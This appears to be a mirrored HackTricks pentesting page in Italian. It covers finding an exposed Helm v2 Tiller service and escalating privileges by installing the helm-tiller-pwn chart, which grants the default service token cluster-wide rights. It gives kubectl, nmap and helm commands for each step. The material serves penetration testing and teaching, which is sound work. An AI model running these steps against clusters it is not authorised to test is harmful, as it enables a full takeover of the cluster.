mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
58 lines
3.2 KiB
Markdown
58 lines
3.2 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
# Informazioni di Base
|
|
|
|
Helm è il **gestore di pacchetti** per Kubernetes. Consente di impacchettare file YAML e distribuirli in repository pubblici e privati. Questi pacchetti sono chiamati **Helm Charts**. **Tiller** è il **servizio** **in esecuzione** per impostazione predefinita sulla porta 44134 che offre il servizio.
|
|
|
|
**Porta predefinita:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumerazione
|
|
|
|
Se puoi **enumerare i pod e/o i servizi** di diversi namespace, enumerali e cerca quelli con **"tiller" nel loro nome**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Esempi:
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
Puoi anche provare a trovare questo servizio in esecuzione controllando la porta 44134:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Una volta scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi utilizzare strumenti come `homebrew`, o guardare [**la pagina ufficiale delle release**](https://github.com/helm/helm/releases)**.** Per ulteriori dettagli, o per altre opzioni, consulta [la guida all'installazione](https://v2.helm.sh/docs/using_helm/#installing-helm).
|
|
|
|
Poi, puoi **enumerare il servizio**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Escalation dei privilegi
|
|
|
|
Per impostazione predefinita, **Helm2** è stato installato nel **namespace kube-system** con **elevati privilegi**, quindi se trovi il servizio e hai accesso ad esso, questo potrebbe consentirti di **escalare i privilegi**.
|
|
|
|
Tutto ciò che devi fare è installare un pacchetto come questo: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) che darà al **token di servizio predefinito accesso a tutto nell'intero cluster.**
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) hai la **spiegazione dell'attacco**, ma fondamentalmente, se leggi i file [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) all'interno di _helm-tiller-pwn/pwnchart/templates/_ puoi vedere come **tutti i privilegi vengono dati al token predefinito**.
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|